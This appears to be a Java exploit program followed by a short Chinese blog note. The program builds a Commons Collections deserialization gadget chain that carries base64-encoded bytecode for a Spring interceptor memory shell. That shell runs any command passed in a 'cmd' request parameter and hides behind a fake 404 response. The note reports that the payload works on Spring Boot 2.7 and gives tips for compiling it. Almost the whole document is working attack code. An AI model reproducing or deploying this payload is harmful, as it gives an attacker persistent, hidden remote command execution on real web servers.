import java.util.HashMap;
import java.util.Map;

public class CCMemshell {
    public static void main(String[] args) throws Exception {
        String s="yv66vgAAADQAwgoAMABQCgBRAFIIAFMLAFQAVQcAVggAVwsABQBYBwBZBwBaCABbCgBcAF0KAF4AXwoAXgBgBwBhBwBiCABjCgAPAGQKAA4AZQgAZgsAZwBoCABpCgBqAGsKABoAbAgAbQoAGgBuBwBvCABwCABxCAByCABzCgB0AHUKAHQAdgoAdwB4BwB5CgAiAHoIAHsKACIAfAoAIgB9CgAiAH4IAH8LAIAAgQoAggCDCgCCAIQKAIIAhQgAhgsAMQCHCwAxAIgHAIkHAIoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAiwcAjAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAjQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbwcAjgcAjwcAeQcAYgcAkAcAkQcAkgcAkwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAApTb3VyY2VGaWxlAQAYTWVtU2hlbGxJbnRlcmNlcHRvci5qYXZhDAAyADMHAJQMAJUAlgEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAlwwAmACZAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACaAJsBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwCcDACdAJ4HAJ8MAKAAoQwAogCjAQATamF2YS91dGlsL0FycmF5TGlzdAEAE01lbVNoZWxsSW50ZXJjZXB0b3IBAANhYWEMADIAOQwApAClAQADY21kBwCQDACmAKcBAAdvcy5uYW1lBwCoDACpAKcMAKoAqwEAA3dpbgwArACtAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEAAnNoAQACLWMHAK4MAK8AsAwAsQCyBwCzDAC0ALUBABFqYXZhL3V0aWwvU2Nhbm5lcgwAMgC2AQACXEEMALcAuAwAuQC6DAC7AKsBAAAHAJEMALwAvQcAvgwAvwA5DADAADMMAMEAMwEAEjQwNCBQYWdlIE5vdCBmb3VuZAwASgBLDABMAE0BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BAAVmbHVzaAEABWNsb3NlACEADwAwAAEAMQAAAAcAAQAyADMAAgA0AAAAggADAAYAAABKKrcAAbgAAhIDA7kABAMAwAAFTCsSBrkABwIAwAAITRIJEgq2AAtOLQS2AAwtLLYADcAADjoEuwAPWRIQtwAROgUZBBkFtgASV7EAAAABADUAAAAmAAkAAAAVAAQAFgATABcAHwAYACcAGQAsABoANgAcAEEAHQBJACAANgAAAAYAAgA3ADgAAQAyADkAAQA0AAAAHQABAAIAAAAFKrcAAbEAAAABADUAAAAGAAEAAAAhAAEAOgA7AAIANAAAABkAAAADAAAAAbEAAAABADUAAAAGAAEAAAAnADYAAAAEAAEAPAABADoAPQACADQAAAAZAAAABAAAAAGxAAAAAQA1AAAABgABAAAALAA2AAAABAABADwAAQA+AD8AAgA0AAABaAAEAAwAAADGKxITuQAUAgA6BBkExgCfAzYFEhW4ABY6BhkGxgATGQa2ABcSGLYAGZkABgQ2BRUFmQAZBr0AGlkDEhtTWQQSHFNZBRkEU6cAFga9ABpZAxIdU1kEEh5TWQUZBFM6B7gAHxkHtgAgtgAhOgi7ACJZGQi3ACMSJLYAJToJGQm2ACaZAAsZCbYAJ6cABRIoOgosuQApAQA6CxkLGQq2ACoZC7YAKxkLtgAspwAcLLkAKQEAOgUZBRIttgAqGQW2ACsZBbYALASsAAAAAgA1AAAAUgAUAAAALwAKADAADwAxABIAMgAZADMAKwA0AC4ANgBeADcAawA4AHsAOQCPADoAlwA7AJ4APACjAD0AqAA+AKsAQACzAEEAugBCAL8AQwDEAEUAQAAAADgAB/4ALgcAQQEHAEEaUgcAQv4ALgcAQgcAQwcAREEHAEH/AB0ABQcARQcARgcARwcASAcAQQAAGAA2AAAABAABAEkAAQBKAEsAAgA0AAAAJgAFAAUAAAAKKissLRkEtwAusQAAAAEANQAAAAoAAgAAAEsACQBMADYAAAAEAAEASQABAEwATQACADQAAAAmAAUABQAAAAoqKywtGQS3AC+xAAAAAQA1AAAACgACAAAAUAAJAFEANgAAAAQAAQBJAAEATgAAAAIATw==";
        byte[] bytes=Base64.getDecoder().decode(s);
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map< Object, Object > map = new HashMap<>();
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,  chainedTransformer);
        map.put("value", "aiwin");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//未声明public,要反射调用
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); //调用实例化方法
        constructor.setAccessible(true);
        Object result = constructor.newInstance(Target.class, transformedMap); //Target中存在value方法, 因此map中键值为Value
        byte[] serialize=serialize(result);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
    }

    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

发送生成的payload,是成功的,实测了一下springboot2.7版本,这个interceptorspringboot>2.6内存马都是成功的。

在这里插入图片描述

踩坑

这里内存马都要拖出去编译,这里搞了挺久的,主要是jar包没找对,用javac -cp指定jar包编译即可,主要是为了package,因为存在package打过去会因为上面的package从而产生报错。

在这里插入图片描述